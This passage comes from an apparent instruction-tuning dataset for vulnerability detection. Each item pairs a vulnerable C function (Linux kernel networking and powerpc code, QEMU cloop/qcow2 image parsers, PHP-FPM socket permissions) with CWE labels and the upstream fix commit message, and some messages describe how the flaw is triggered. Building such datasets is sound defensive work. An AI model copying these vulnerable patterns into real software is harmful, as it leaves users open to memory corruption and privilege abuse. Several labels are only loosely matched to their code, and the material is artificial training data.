Max Reitz \nSigned-off-by: Stefan Hajnoczi '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int queue_userspace_packet(struct datapath *dp, struct sk_buff *skb,\n\t\t\t\t const struct dp_upcall_info *upcall_info)\n{\n\tstruct ovs_header *upcall;\n\tstruct sk_buff *nskb = NULL;\n\tstruct sk_buff *user_skb; /* to be queued to userspace */\n\tstruct nlattr *nla;\n\tstruct genl_info info = {\n\t\t.dst_sk = ovs_dp_get_net(dp)->genl_sock,\n\t\t.snd_portid = upcall_info->portid,\n\t};\n\tsize_t len;\n\tunsigned int hlen;\n\tint err, dp_ifindex;\n\n\tdp_ifindex = get_dpifindex(dp);\n\tif (!dp_ifindex)\n\t\treturn -ENODEV;\n\n\tif (vlan_tx_tag_present(skb)) {\n\t\tnskb = skb_clone(skb, GFP_ATOMIC);\n\t\tif (!nskb)\n\t\t\treturn -ENOMEM;\n\n\t\tnskb = __vlan_put_tag(nskb, nskb->vlan_proto, vlan_tx_tag_get(nskb));\n\t\tif (!nskb)\n\t\t\treturn -ENOMEM;\n\n\t\tnskb->vlan_tci = 0;\n\t\tskb = nskb;\n\t}\n\n\tif (nla_attr_size(skb->len) > USHRT_MAX) {\n\t\terr = -EFBIG;\n\t\tgoto out;\n\t}\n\n\t/* Complete checksum if needed */\n\tif (skb->ip_summed == CHECKSUM_PARTIAL &&\n\t (err = skb_checksum_help(skb)))\n\t\tgoto out;\n\n\t/* Older versions of OVS user space enforce alignment of the last\n\t * Netlink attribute to NLA_ALIGNTO which would require extensive\n\t * padding logic. Only perform zerocopy if padding is not required.\n\t */\n\tif (dp->user_features & OVS_DP_F_UNALIGNED)\n\t\thlen = skb_zerocopy_headlen(skb);\n\telse\n\t\thlen = skb->len;\n\n\tlen = upcall_msg_size(upcall_info->userdata, hlen);\n\tuser_skb = genlmsg_new_unicast(len, &info, GFP_ATOMIC);\n\tif (!user_skb) {\n\t\terr = -ENOMEM;\n\t\tgoto out;\n\t}\n\n\tupcall = genlmsg_put(user_skb, 0, 0, &dp_packet_genl_family,\n\t\t\t 0, upcall_info->cmd);\n\tupcall->dp_ifindex = dp_ifindex;\n\n\tnla = nla_nest_start(user_skb, OVS_PACKET_ATTR_KEY);\n\tovs_nla_put_flow(upcall_info->key, upcall_info->key, user_skb);\n\tnla_nest_end(user_skb, nla);\n\n\tif (upcall_info->userdata)\n\t\t__nla_put(user_skb, OVS_PACKET_ATTR_USERDATA,\n\t\t\t nla_len(upcall_info->userdata),\n\t\t\t nla_data(upcall_info->userdata));\n\n\t/* Only reserve room for attribute header, packet data is added\n\t * in skb_zerocopy() */\n\tif (!(nla = nla_reserve(user_skb, OVS_PACKET_ATTR_PACKET, 0))) {\n\t\terr = -ENOBUFS;\n\t\tgoto out;\n\t}\n\tnla->nla_len = nla_attr_size(skb->len);\n\n\tskb_zerocopy(user_skb, skb, skb->len, hlen);\n\n\t/* Pad OVS_PACKET_ATTR_PACKET if linear copy was performed */\n\tif (!(dp->user_features & OVS_DP_F_UNALIGNED)) {\n\t\tsize_t plen = NLA_ALIGN(user_skb->len) - user_skb->len;\n\n\t\tif (plen > 0)\n\t\t\tmemset(skb_put(user_skb, plen), 0, plen);\n\t}\n\n\t((struct nlmsghdr *) user_skb->data)->nlmsg_len = user_skb->len;\n\n\terr = genlmsg_unicast(ovs_dp_get_net(dp), user_skb, upcall_info->portid);\nout:\n\tkfree_skb(nskb);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors\n\nskb_zerocopy can copy elements of the frags array between skbs, but it doesn't\norphan them. Also, it doesn't handle errors, so this patch takes care of that\nas well, and modify the callers accordingly. skb_tx_error() is also added to\nthe callers so they will signal the failed delivery towards the creator of the\nskb.\n\nSigned-off-by: Zoltan Kiss \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int cloop_open(BlockDriverState *bs, QDict *options, int flags,\n Error **errp)\n{\n BDRVCloopState *s = bs->opaque;\n uint32_t offsets_size, max_compressed_block_size = 1, i;\n int ret;\n\n bs->read_only = 1;\n\n /* read header */\n ret = bdrv_pread(bs->file, 128, &s->block_size, 4);\n if (ret < 0) {\n return ret;\n }\n s->block_size = be32_to_cpu(s->block_size);\n if (s->block_size % 512) {\n error_setg(errp, \"block_size %u must be a multiple of 512\",\n s->block_size);\n return -EINVAL;\n }\n if (s->block_size == 0) {\n error_setg(errp, \"block_size cannot be zero\");\n return -EINVAL;\n }\n\n /* cloop's create_compressed_fs.c warns about block sizes beyond 256 KB but\n * we can accept more. Prevent ridiculous values like 4 GB - 1 since we\n * need a buffer this big.\n */\n if (s->block_size > MAX_BLOCK_SIZE) {\n error_setg(errp, \"block_size %u must be %u MB or less\",\n s->block_size,\n MAX_BLOCK_SIZE / (1024 * 1024));\n return -EINVAL;\n }\n\n ret = bdrv_pread(bs->file, 128 + 4, &s->n_blocks, 4);\n if (ret < 0) {\n return ret;\n }\n s->n_blocks = be32_to_cpu(s->n_blocks);\n\n /* read offsets */\n offsets_size = s->n_blocks * sizeof(uint64_t);\n s->offsets = g_malloc(offsets_size);\n\n ret = bdrv_pread(bs->file, 128 + 4 + 4, s->offsets, offsets_size);\n if (ret < 0) {\n goto fail;\n }\n\n for(i=0;in_blocks;i++) {\n s->offsets[i] = be64_to_cpu(s->offsets[i]);\n if (i > 0) {\n uint32_t size = s->offsets[i] - s->offsets[i - 1];\n if (size > max_compressed_block_size) {\n max_compressed_block_size = size;\n }\n }\n }\n\n /* initialize zlib engine */\n s->compressed_block = g_malloc(max_compressed_block_size + 1);\n s->uncompressed_block = g_malloc(s->block_size);\n if (inflateInit(&s->zstream) != Z_OK) {\n ret = -EINVAL;\n goto fail;\n }\n s->current_block = s->n_blocks;\n\n s->sectors_per_block = s->block_size/512;\n bs->total_sectors = s->n_blocks * s->sectors_per_block;\n qemu_co_mutex_init(&s->lock);\n return 0;\n\nfail:\n g_free(s->offsets);\n g_free(s->compressed_block);\n g_free(s->uncompressed_block);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'block/cloop: prevent offsets_size integer overflow (CVE-2014-0143)\n\nThe following integer overflow in offsets_size can lead to out-of-bounds\nmemory stores when n_blocks has a huge value:\n\n uint32_t n_blocks, offsets_size;\n [...]\n ret = bdrv_pread(bs->file, 128 + 4, &s->n_blocks, 4);\n [...]\n s->n_blocks = be32_to_cpu(s->n_blocks);\n\n /* read offsets */\n offsets_size = s->n_blocks * sizeof(uint64_t);\n s->offsets = g_malloc(offsets_size);\n\n [...]\n\n for(i=0;in_blocks;i++) {\n s->offsets[i] = be64_to_cpu(s->offsets[i]);\n\noffsets_size can be smaller than n_blocks due to integer overflow.\nTherefore s->offsets[] is too small when the for loop byteswaps offsets.\n\nThis patch refuses to open files if offsets_size would overflow.\n\nNote that changing the type of offsets_size is not a fix since 32-bit\nhosts still only have 32-bit size_t.\n\nSigned-off-by: Stefan Hajnoczi \nSigned-off-by: Kevin Wolf \nReviewed-by: Max Reitz \nSigned-off-by: Stefan Hajnoczi '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int qcow2_open(BlockDriverState *bs, QDict *options, int flags,\n Error **errp)\n{\n BDRVQcowState *s = bs->opaque;\n int len, i, ret = 0;\n QCowHeader header;\n QemuOpts *opts;\n Error *local_err = NULL;\n uint64_t ext_end;\n uint64_t l1_vm_state_index;\n const char *opt_overlap_check;\n int overlap_check_template = 0;\n\n ret = bdrv_pread(bs->file, 0, &header, sizeof(header));\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read qcow2 header\");\n goto fail;\n }\n be32_to_cpus(&header.magic);\n be32_to_cpus(&header.version);\n be64_to_cpus(&header.backing_file_offset);\n be32_to_cpus(&header.backing_file_size);\n be64_to_cpus(&header.size);\n be32_to_cpus(&header.cluster_bits);\n be32_to_cpus(&header.crypt_method);\n be64_to_cpus(&header.l1_table_offset);\n be32_to_cpus(&header.l1_size);\n be64_to_cpus(&header.refcount_table_offset);\n be32_to_cpus(&header.refcount_table_clusters);\n be64_to_cpus(&header.snapshots_offset);\n be32_to_cpus(&header.nb_snapshots);\n\n if (header.magic != QCOW_MAGIC) {\n error_setg(errp, \"Image is not in qcow2 format\");\n ret = -EINVAL;\n goto fail;\n }\n if (header.version < 2 || header.version > 3) {\n report_unsupported(bs, errp, \"QCOW version %d\", header.version);\n ret = -ENOTSUP;\n goto fail;\n }\n\n s->qcow_version = header.version;\n\n /* Initialise version 3 header fields */\n if (header.version == 2) {\n header.incompatible_features = 0;\n header.compatible_features = 0;\n header.autoclear_features = 0;\n header.refcount_order = 4;\n header.header_length = 72;\n } else {\n be64_to_cpus(&header.incompatible_features);\n be64_to_cpus(&header.compatible_features);\n be64_to_cpus(&header.autoclear_features);\n be32_to_cpus(&header.refcount_order);\n be32_to_cpus(&header.header_length);\n }\n\n if (header.header_length > sizeof(header)) {\n s->unknown_header_fields_size = header.header_length - sizeof(header);\n s->unknown_header_fields = g_malloc(s->unknown_header_fields_size);\n ret = bdrv_pread(bs->file, sizeof(header), s->unknown_header_fields,\n s->unknown_header_fields_size);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read unknown qcow2 header \"\n \"fields\");\n goto fail;\n }\n }\n\n if (header.backing_file_offset) {\n ext_end = header.backing_file_offset;\n } else {\n ext_end = 1 << header.cluster_bits;\n }\n\n /* Handle feature bits */\n s->incompatible_features = header.incompatible_features;\n s->compatible_features = header.compatible_features;\n s->autoclear_features = header.autoclear_features;\n\n if (s->incompatible_features & ~QCOW2_INCOMPAT_MASK) {\n void *feature_table = NULL;\n qcow2_read_extensions(bs, header.header_length, ext_end,\n &feature_table, NULL);\n report_unsupported_feature(bs, errp, feature_table,\n s->incompatible_features &\n ~QCOW2_INCOMPAT_MASK);\n ret = -ENOTSUP;\n g_free(feature_table);\n goto fail;\n }\n\n if (s->incompatible_features & QCOW2_INCOMPAT_CORRUPT) {\n /* Corrupt images may not be written to unless they are being repaired\n */\n if ((flags & BDRV_O_RDWR) && !(flags & BDRV_O_CHECK)) {\n error_setg(errp, \"qcow2: Image is corrupt; cannot be opened \"\n \"read/write\");\n ret = -EACCES;\n goto fail;\n }\n }\n\n /* Check support for various header values */\n if (header.refcount_order != 4) {\n report_unsupported(bs, errp, \"%d bit reference counts\",\n 1 << header.refcount_order);\n ret = -ENOTSUP;\n goto fail;\n }\n s->refcount_order = header.refcount_order;\n\n if (header.cluster_bits < MIN_CLUSTER_BITS ||\n header.cluster_bits > MAX_CLUSTER_BITS) {\n error_setg(errp, \"Unsupported cluster size: 2^%i\", header.cluster_bits);\n ret = -EINVAL;\n goto fail;\n }\n if (header.crypt_method > QCOW_CRYPT_AES) {\n error_setg(errp, \"Unsupported encryption method: %i\",\n header.crypt_method);\n ret = -EINVAL;\n goto fail;\n }\n s->crypt_method_header = header.crypt_method;\n if (s->crypt_method_header) {\n bs->encrypted = 1;\n }\n s->cluster_bits = header.cluster_bits;\n s->cluster_size = 1 << s->cluster_bits;\n s->cluster_sectors = 1 << (s->cluster_bits - 9);\n s->l2_bits = s->cluster_bits - 3; /* L2 is always one cluster */\n s->l2_size = 1 << s->l2_bits;\n bs->total_sectors = header.size / 512;\n s->csize_shift = (62 - (s->cluster_bits - 8));\n s->csize_mask = (1 << (s->cluster_bits - 8)) - 1;\n s->cluster_offset_mask = (1LL << s->csize_shift) - 1;\n s->refcount_table_offset = header.refcount_table_offset;\n s->refcount_table_size =\n header.refcount_table_clusters << (s->cluster_bits - 3);\n\n s->snapshots_offset = header.snapshots_offset;\n s->nb_snapshots = header.nb_snapshots;\n\n /* read the level 1 table */\n s->l1_size = header.l1_size;\n\n l1_vm_state_index = size_to_l1(s, header.size);\n if (l1_vm_state_index > INT_MAX) {\n error_setg(errp, \"Image is too big\");\n ret = -EFBIG;\n goto fail;\n }\n s->l1_vm_state_index = l1_vm_state_index;\n\n /* the L1 table must contain at least enough entries to put\n header.size bytes */\n if (s->l1_size < s->l1_vm_state_index) {\n error_setg(errp, \"L1 table is too small\");\n ret = -EINVAL;\n goto fail;\n }\n s->l1_table_offset = header.l1_table_offset;\n if (s->l1_size > 0) {\n s->l1_table = g_malloc0(\n align_offset(s->l1_size * sizeof(uint64_t), 512));\n ret = bdrv_pread(bs->file, s->l1_table_offset, s->l1_table,\n s->l1_size * sizeof(uint64_t));\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read L1 table\");\n goto fail;\n }\n for(i = 0;i < s->l1_size; i++) {\n be64_to_cpus(&s->l1_table[i]);\n }\n }\n\n /* alloc L2 table/refcount block cache */\n s->l2_table_cache = qcow2_cache_create(bs, L2_CACHE_SIZE);\n s->refcount_block_cache = qcow2_cache_create(bs, REFCOUNT_CACHE_SIZE);\n\n s->cluster_cache = g_malloc(s->cluster_size);\n /* one more sector for decompressed data alignment */\n s->cluster_data = qemu_blockalign(bs, QCOW_MAX_CRYPT_CLUSTERS * s->cluster_size\n + 512);\n s->cluster_cache_offset = -1;\n s->flags = flags;\n\n ret = qcow2_refcount_init(bs);\n if (ret != 0) {\n error_setg_errno(errp, -ret, \"Could not initialize refcount handling\");\n goto fail;\n }\n\n QLIST_INIT(&s->cluster_allocs);\n QTAILQ_INIT(&s->discards);\n\n /* read qcow2 extensions */\n if (qcow2_read_extensions(bs, header.header_length, ext_end, NULL,\n &local_err)) {\n error_propagate(errp, local_err);\n ret = -EINVAL;\n goto fail;\n }\n\n /* read the backing file name */\n if (header.backing_file_offset != 0) {\n len = header.backing_file_size;\n if (len > 1023) {\n len = 1023;\n }\n ret = bdrv_pread(bs->file, header.backing_file_offset,\n bs->backing_file, len);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read backing file name\");\n goto fail;\n }\n bs->backing_file[len] = '\\0';\n }\n\n ret = qcow2_read_snapshots(bs);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read snapshots\");\n goto fail;\n }\n\n /* Clear unknown autoclear feature bits */\n if (!bs->read_only && !(flags & BDRV_O_INCOMING) && s->autoclear_features) {\n s->autoclear_features = 0;\n ret = qcow2_update_header(bs);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not update qcow2 header\");\n goto fail;\n }\n }\n\n /* Initialise locks */\n qemu_co_mutex_init(&s->lock);\n\n /* Repair image if dirty */\n if (!(flags & (BDRV_O_CHECK | BDRV_O_INCOMING)) && !bs->read_only &&\n (s->incompatible_features & QCOW2_INCOMPAT_DIRTY)) {\n BdrvCheckResult result = {0};\n\n ret = qcow2_check(bs, &result, BDRV_FIX_ERRORS);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not repair dirty image\");\n goto fail;\n }\n }\n\n /* Enable lazy_refcounts according to image and command line options */\n opts = qemu_opts_create(&qcow2_runtime_opts, NULL, 0, &error_abort);\n qemu_opts_absorb_qdict(opts, options, &local_err);\n if (local_err) {\n error_propagate(errp, local_err);\n ret = -EINVAL;\n goto fail;\n }\n\n s->use_lazy_refcounts = qemu_opt_get_bool(opts, QCOW2_OPT_LAZY_REFCOUNTS,\n (s->compatible_features & QCOW2_COMPAT_LAZY_REFCOUNTS));\n\n s->discard_passthrough[QCOW2_DISCARD_NEVER] = false;\n s->discard_passthrough[QCOW2_DISCARD_ALWAYS] = true;\n s->discard_passthrough[QCOW2_DISCARD_REQUEST] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_REQUEST,\n flags & BDRV_O_UNMAP);\n s->discard_passthrough[QCOW2_DISCARD_SNAPSHOT] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_SNAPSHOT, true);\n s->discard_passthrough[QCOW2_DISCARD_OTHER] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_OTHER, false);\n\n opt_overlap_check = qemu_opt_get(opts, \"overlap-check\") ?: \"cached\";\n if (!strcmp(opt_overlap_check, \"none\")) {\n overlap_check_template = 0;\n } else if (!strcmp(opt_overlap_check, \"constant\")) {\n overlap_check_template = QCOW2_OL_CONSTANT;\n } else if (!strcmp(opt_overlap_check, \"cached\")) {\n overlap_check_template = QCOW2_OL_CACHED;\n } else if (!strcmp(opt_overlap_check, \"all\")) {\n overlap_check_template = QCOW2_OL_ALL;\n } else {\n error_setg(errp, \"Unsupported value '%s' for qcow2 option \"\n \"'overlap-check'. Allowed are either of the following: \"\n \"none, constant, cached, all\", opt_overlap_check);\n qemu_opts_del(opts);\n ret = -EINVAL;\n goto fail;\n }\n\n s->overlap_check = 0;\n for (i = 0; i < QCOW2_OL_MAX_BITNR; i++) {\n /* overlap-check defines a template bitmask, but every flag may be\n * overwritten through the associated boolean option */\n s->overlap_check |=\n qemu_opt_get_bool(opts, overlap_bool_option_names[i],\n overlap_check_template & (1 << i)) << i;\n }\n\n qemu_opts_del(opts);\n\n if (s->use_lazy_refcounts && s->qcow_version < 3) {\n error_setg(errp, \"Lazy refcounts require a qcow2 image with at least \"\n \"qemu 1.1 compatibility level\");\n ret = -EINVAL;\n goto fail;\n }\n\n#ifdef DEBUG_ALLOC\n {\n BdrvCheckResult result = {0};\n qcow2_check_refcounts(bs, &result, 0);\n }\n#endif\n return ret;\n\n fail:\n g_free(s->unknown_header_fields);\n cleanup_unknown_header_ext(bs);\n qcow2_free_snapshots(bs);\n qcow2_refcount_close(bs);\n g_free(s->l1_table);\n /* else pre-write overlap checks in cache_destroy may crash */\n s->l1_table = NULL;\n if (s->l2_table_cache) {\n qcow2_cache_destroy(bs, s->l2_table_cache);\n }\n if (s->refcount_block_cache) {\n qcow2_cache_destroy(bs, s->refcount_block_cache);\n }\n g_free(s->cluster_cache);\n qemu_vfree(s->cluster_data);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'qcow2: Check header_length (CVE-2014-0144)\n\nThis fixes an unbounded allocation for s->unknown_header_fields.\n\nSigned-off-by: Kevin Wolf \nReviewed-by: Max Reitz \nSigned-off-by: Stefan Hajnoczi '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int xenvif_poll(struct napi_struct *napi, int budget)\n{\n\tstruct xenvif *vif = container_of(napi, struct xenvif, napi);\n\tint work_done;\n\n\twork_done = xenvif_tx_action(vif, budget);\n\n\tif (work_done < budget) {\n\t\tint more_to_do = 0;\n\t\tunsigned long flags;\n\n\t\t/* It is necessary to disable IRQ before calling\n\t\t * RING_HAS_UNCONSUMED_REQUESTS. Otherwise we might\n\t\t * lose event from the frontend.\n\t\t *\n\t\t * Consider:\n\t\t * RING_HAS_UNCONSUMED_REQUESTS\n\t\t * \n\t\t * __napi_complete\n\t\t *\n\t\t * This handler is still in scheduled state so the\n\t\t * event has no effect at all. After __napi_complete\n\t\t * this handler is descheduled and cannot get\n\t\t * scheduled again. We lose event in this case and the ring\n\t\t * will be completely stalled.\n\t\t */\n\n\t\tlocal_irq_save(flags);\n\n\t\tRING_FINAL_CHECK_FOR_REQUESTS(&vif->tx, more_to_do);\n\t\tif (!more_to_do)\n\t\t\t__napi_complete(napi);\n\n\t\tlocal_irq_restore(flags);\n\t}\n\n\treturn work_done;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'xen-netback: disable rogue vif in kthread context\n\nWhen netback discovers frontend is sending malformed packet it will\ndisables the interface which serves that frontend.\n\nHowever disabling a network interface involving taking a mutex which\ncannot be done in softirq context, so we need to defer this process to\nkthread context.\n\nThis patch does the following:\n1. introduce a flag to indicate the interface is disabled.\n2. check that flag in TX path, don't do any work if it's true.\n3. check that flag in RX path, turn off that interface if it's true.\n\nThe reason to disable it in RX path is because RX uses kthread. After\nthis change the behavior of netback is still consistent -- it won't do\nany TX work for a rogue frontend, and the interface will be eventually\nturned off.\n\nAlso change a \"continue\" to \"break\" after xenvif_fatal_tx_err, as it\ndoesn't make sense to continue processing packets if frontend is rogue.\n\nThis is a fix for XSA-90.\n\nReported-by: T\u00f6r\u00f6k Edwin \nSigned-off-by: Wei Liu \nCc: Ian Campbell \nReviewed-by: David Vrabel \nAcked-by: Ian Campbell \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int arch_dup_task_struct(struct task_struct *dst, struct task_struct *src)\n{\n\tflush_fp_to_thread(src);\n\tflush_altivec_to_thread(src);\n\tflush_vsx_to_thread(src);\n\tflush_spe_to_thread(src);\n\n\t*dst = *src;\n\n\tclear_task_ebb(dst);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'powerpc/tm: Fix crash when forking inside a transaction\n\nWhen we fork/clone we currently don't copy any of the TM state to the new\nthread. This results in a TM bad thing (program check) when the new process is\nswitched in as the kernel does a tmrechkpt with TEXASR FS not set. Also, since\nR1 is from userspace, we trigger the bad kernel stack pointer detection. So we\nend up with something like this:\n\n Bad kernel stack pointer 0 at c0000000000404fc\n cpu 0x2: Vector: 700 (Program Check) at [c00000003ffefd40]\n pc: c0000000000404fc: restore_gprs+0xc0/0x148\n lr: 0000000000000000\n sp: 0\n msr: 9000000100201030\n current = 0xc000001dd1417c30\n paca = 0xc00000000fe00800 softe: 0 irq_happened: 0x01\n pid = 0, comm = swapper/2\n WARNING: exception is not recoverable, can't continue\n\nThe below fixes this by flushing the TM state before we copy the task_struct to\nthe clone. To do this we go through the tmreclaim patch, which removes the\ncheckpointed registers from the CPU and transitions the CPU out of TM suspend\nmode. Hence we need to call tmrechkpt after to restore the checkpointed state\nand the TM mode for the current task.\n\nTo make this fail from userspace is simply:\n\ttbegin\n\tli\tr0, 2\n\tsc\n\t\n\nKudos to Adhemerval Zanella Neto for finding this.\n\nSigned-off-by: Michael Neuling \ncc: Adhemerval Zanella Neto \ncc: stable@vger.kernel.org\nSigned-off-by: Benjamin Herrenschmidt '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int fpm_unix_resolve_socket_premissions(struct fpm_worker_pool_s *wp) /* {{{ */\n{\n\tstruct fpm_worker_pool_config_s *c = wp->config;\n\n\t/* uninitialized */\n\twp->socket_uid = -1;\n\twp->socket_gid = -1;\n\twp->socket_mode = 0666;\n\n\tif (!c) {\n\t\treturn 0;\n\t}\n\n\tif (c->listen_owner && *c->listen_owner) {\n\t\tstruct passwd *pwd;\n\n\t\tpwd = getpwnam(c->listen_owner);\n\t\tif (!pwd) {\n\t\t\tzlog(ZLOG_SYSERROR, \"[pool %s] cannot get uid for user '%s'\", wp->config->name, c->listen_owner);\n\t\t\treturn -1;\n\t\t}\n\n\t\twp->socket_uid = pwd->pw_uid;\n\t\twp->socket_gid = pwd->pw_gid;\n\t}\n\n\tif (c->listen_group && *c->listen_group) {\n\t\tstruct group *grp;\n\n\t\tgrp = getgrnam(c->listen_group);\n\t\tif (!grp) {\n\t\t\tzlog(ZLOG_SYSERROR, \"[pool %s] cannot get gid for group '%s'\", wp->config->name, c->listen_group);\n\t\t\treturn -1;\n\t\t}\n\t\twp->socket_gid = grp->gr_gid;\n\t}\n\n\tif (c->listen_mode && *c->listen_mode) {\n\t\twp->socket_mode = strtoul(c->listen_mode, 0, 8);\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-264', 'CWE-269'], 'message': 'Fix bug #67060: use default mode of 660'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int rtnl_group_changelink(struct net *net, int group,\n\t\tstruct ifinfomsg *ifm,\n\t\tstruct nlattr **tb)\n{\n\tstruct net_device *dev;\n\tint err;\n\n\tfor_each_netdev(net, dev) {\n\t\tif (dev->group == group) {\n\t\t\terr = do_setlink(dev, ifm, tb, NULL, 0);\n\t\t\tif (err < 0)\n\t\t\t\treturn err;\n\t\t}\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'net: Use netlink_ns_capable to verify the permisions of netlink messages\n\nIt is possible by passing a netlink socket to a more privileged\nexecutable and then to fool that executable into writing to the socket\ndata that happens to be valid netlink message to do something that\nprivileged executable did not intend to do.\n\nTo keep this from happening replace bare capable and ns_capable calls\nwith netlink_capable, netlink_net_calls and netlink_ns_capable calls.\nWhich act the same as the previous calls except they verify that the\nopener of the socket had the desired permissions as well.\n\nReported-by: Andy Lutomirski \nSigned-off-by: \"Eric W. Biederman\" \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int dn_nl_newaddr(struct sk_buff *skb, struct nlmsghdr *nlh)\n{\n\tstruct net *net = sock_net(skb->sk);\n\tstruct nlattr *tb[IFA_MAX+1];\n\tstruct net_device *dev;\n\tstruct dn_dev *dn_db;\n\tstruct ifaddrmsg *ifm;\n\tstruct dn_ifaddr *ifa;\n\tint err;\n\n\tif (!capable(CAP_NET_ADMIN))\n\t\treturn -EPERM;\n\n\tif (!net_eq(net, &init_net))\n\t\treturn -EINVAL;\n\n\terr = nlmsg_parse(nlh, sizeof(*ifm), tb, IFA_MAX, dn_ifa_policy);\n\tif (err < 0)\n\t\treturn err;\n\n\tif (tb[IFA_LOCAL] == NULL)\n\t\treturn -EINVAL;\n\n\tifm = nlmsg_data(nlh);\n\tif ((dev = __dev_get_by_index(&init_net, ifm->ifa_index)) == NULL)\n\t\treturn -ENODEV;\n\n\tif ((dn_db = rtnl_dereference(dev->dn_ptr)) == NULL) {\n\t\tdn_db = dn_dev_create(dev, &err);\n\t\tif (!dn_db)\n\t\t\treturn err;\n\t}\n\n\tif ((ifa = dn_dev_alloc_ifa()) == NULL)\n\t\treturn -ENOBUFS;\n\n\tif (tb[IFA_ADDRESS] == NULL)\n\t\ttb[IFA_ADDRESS] = tb[IFA_LOCAL];\n\n\tifa->ifa_local = nla_get_le16(tb[IFA_LOCAL]);\n\tifa->ifa_address = nla_get_le16(tb[IFA_ADDRESS]);\n\tifa->ifa_flags = tb[IFA_FLAGS] ? nla_get_u32(tb[IFA_FLAGS]) :\n\t\t\t\t\t ifm->ifa_flags;\n\tifa->ifa_scope = ifm->ifa_scope;\n\tifa->ifa_dev = dn_db;\n\n\tif (tb[IFA_LABEL])\n\t\tnla_strlcpy(ifa->ifa_label, tb[IFA_LABEL], IFNAMSIZ);\n\telse\n\t\tmemcpy(ifa->ifa_label, dev->name, IFNAMSIZ);\n\n\terr = dn_dev_insert_ifa(dn_db, ifa);\n\tif (err)\n\t\tdn_dev_free_ifa(ifa);\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'net: Use netlink_ns_capable to verify the permisions of netlink messages\n\nIt is possible by passing a netlink socket to a more privileged\nexecutable and then to fool that executable into writing to the socket\ndata that happens to be valid netlink message to do something that\nprivileged executable did not intend to do.\n\nTo keep this from happening replace bare capable and ns_capable calls\nwith netlink_capable, netlink_net_calls and netlink_ns_capable calls.\nWhich act the same as the previous calls except they verify that the\nopener of the socket had the desired permissions as well.\n\nReported-by: Andy Lutomirski \nSigned-off-by: \"Eric W. Biederman\" \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int do_setlink(struct net_device *dev, struct ifinfomsg *ifm,\n\t\t struct nlattr **tb, char *ifname, int modified)\n{\n\tconst struct net_device_ops *ops = dev->netdev_ops;\n\tint err;\n\n\tif (tb[IFLA_NET_NS_PID] || tb[IFLA_NET_NS_FD]) {\n\t\tstruct net *net = rtnl_link_get_net(dev_net(dev), tb);\n\t\tif (IS_ERR(net)) {\n\t\t\terr = PTR_ERR(net);\n\t\t\tgoto errout;\n\t\t}\n\t\tif (!ns_capable(net->user_ns, CAP_NET_ADMIN)) {\n\t\t\terr = -EPERM;\n\t\t\tgoto errout;\n\t\t}\n\t\terr = dev_change_net_namespace(dev, net, ifname);\n\t\tput_net(net);\n\t\tif (err)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_MAP]) {\n\t\tstruct rtnl_link_ifmap *u_map;\n\t\tstruct ifmap 